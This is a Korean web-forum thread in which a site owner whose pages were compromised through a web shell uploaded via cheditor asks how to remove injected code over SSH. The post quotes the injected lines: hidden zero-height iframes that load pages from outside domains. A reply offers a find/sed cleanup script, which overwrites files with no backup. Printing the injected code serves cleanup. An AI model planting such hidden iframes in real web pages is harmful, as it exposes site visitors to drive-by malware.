ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 3630 | 14년 전 | 1175 | ||
| 3629 | 14년 전 | 791 | ||
| 3628 | 14년 전 | 1082 | ||
| 3627 | 14년 전 | 3028 | ||
| 3626 | 14년 전 | 1407 | ||
| 3625 | 14년 전 | 790 | ||
| 3624 | 14년 전 | 1583 | ||
| 3623 | 14년 전 | 951 | ||
| 3622 | 14년 전 | 481 | ||
| 3621 | 14년 전 | 2369 | ||
| 3620 | 14년 전 | 771 | ||
| 3619 |
하모니칼수
|
14년 전 | 833 | |
| 3618 | 14년 전 | 1142 | ||
| 3617 | 14년 전 | 1019 | ||
| 3616 |
방황하는중년
|
14년 전 | 1069 | |
| 3615 |
아놔6636
|
14년 전 | 581 | |
| 3614 |
아놔6636
|
14년 전 | 2456 | |
| 3613 | 14년 전 | 876 | ||
| 3612 |
forever
|
14년 전 | 1483 | |
| 3611 |
SaNoRaMyun
|
14년 전 | 1169 | |
| 3610 | 14년 전 | 1188 | ||
| 3609 | 14년 전 | 872 | ||
| 3608 | 14년 전 | 1169 | ||
| 3607 | 14년 전 | 746 | ||
| 3606 | 14년 전 | 760 | ||
| 3605 | 14년 전 | 1584 | ||
| 3604 | 14년 전 | 1336 | ||
| 3603 | 14년 전 | 1143 | ||
| 3602 | 14년 전 | 1193 | ||
| 3601 | 14년 전 | 1918 | ||
| 3600 | 14년 전 | 1494 | ||
| 3599 | 14년 전 | 605 | ||
| 3598 | 14년 전 | 1488 | ||
| 3597 | 14년 전 | 1270 | ||
| 3596 |
anfernee
|
14년 전 | 1355 | |
| 3595 | 14년 전 | 831 | ||
| 3594 | 14년 전 | 870 | ||
| 3593 | 14년 전 | 820 | ||
| 3592 | 14년 전 | 812 | ||
| 3591 | 14년 전 | 1452 | ||
| 3590 | 14년 전 | 780 | ||
| 3589 |
쉽다zzz
|
14년 전 | 1067 | |
| 3588 | 14년 전 | 1351 | ||
| 3587 | 14년 전 | 1400 | ||
| 3586 | 14년 전 | 1089 | ||
| 3585 |
플레이디원
|
14년 전 | 1845 | |
| 3584 |
행복한숭아씨
|
14년 전 | 1171 | |
| 3583 | 14년 전 | 1822 | ||
| 3582 |
|
14년 전 | 1371 | |
| 3581 |
|
14년 전 | 1013 | |
| 3580 |
|
14년 전 | 3097 | |
| 3579 | 14년 전 | 1542 | ||
| 3578 |
|
14년 전 | 1020 | |
| 3577 | 14년 전 | 866 | ||
| 3576 | 14년 전 | 1542 | ||
| 3575 |
|
14년 전 | 959 | |
| 3574 |
visualp
|
14년 전 | 764 | |
| 3573 |
visualp
|
14년 전 | 686 | |
| 3572 |
visualp
|
14년 전 | 1938 | |
| 3571 |
visualp
|
14년 전 | 594 | |
| 3570 | 14년 전 | 843 | ||
| 3569 | 14년 전 | 1600 | ||
| 3568 | 14년 전 | 946 | ||
| 3567 |
순천홈페이지
|
14년 전 | 931 | |
| 3566 | 14년 전 | 1473 | ||
| 3565 |
|
14년 전 | 1153 | |
| 3564 | 14년 전 | 1220 | ||
| 3563 | 14년 전 | 1017 | ||
| 3562 | 14년 전 | 2320 | ||
| 3561 | 14년 전 | 1102 | ||
| 3560 |
|
14년 전 | 829 | |
| 3559 | 14년 전 | 1012 | ||
| 3558 | 14년 전 | 766 | ||
| 3557 |
acting1
|
14년 전 | 795 | |
| 3556 |
acting1
|
14년 전 | 620 | |
| 3555 |
브라이튼스쿨
|
14년 전 | 828 | |
| 3554 | 14년 전 | 1209 | ||
| 3553 | 14년 전 | 1460 | ||
| 3552 | 14년 전 | 912 | ||
| 3551 | 14년 전 | 1065 | ||
| 3550 | 14년 전 | 918 | ||
| 3549 |
|
14년 전 | 1095 | |
| 3548 | 14년 전 | 1376 | ||
| 3547 |
|
14년 전 | 1144 | |
| 3546 |
noseart
|
14년 전 | 1335 | |
| 3545 | 14년 전 | 1109 | ||
| 3544 |
비니1234
|
14년 전 | 1039 | |
| 3543 |
비니1234
|
14년 전 | 1072 | |
| 3542 |
zerocooling
|
14년 전 | 1013 | |
| 3541 | 14년 전 | 1545 | ||
| 3540 | 14년 전 | 1495 | ||
| 3539 |
피디인사이드
|
14년 전 | 1318 | |
| 3538 |
soing
|
14년 전 | 1420 | |
| 3537 | 14년 전 | 1652 | ||
| 3536 |
|
14년 전 | 652 | |
| 3535 | 14년 전 | 1115 | ||
| 3534 | 14년 전 | 471 | ||
| 3533 | 14년 전 | 939 | ||
| 3532 | 14년 전 | 1403 | ||
| 3531 | 14년 전 | 859 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기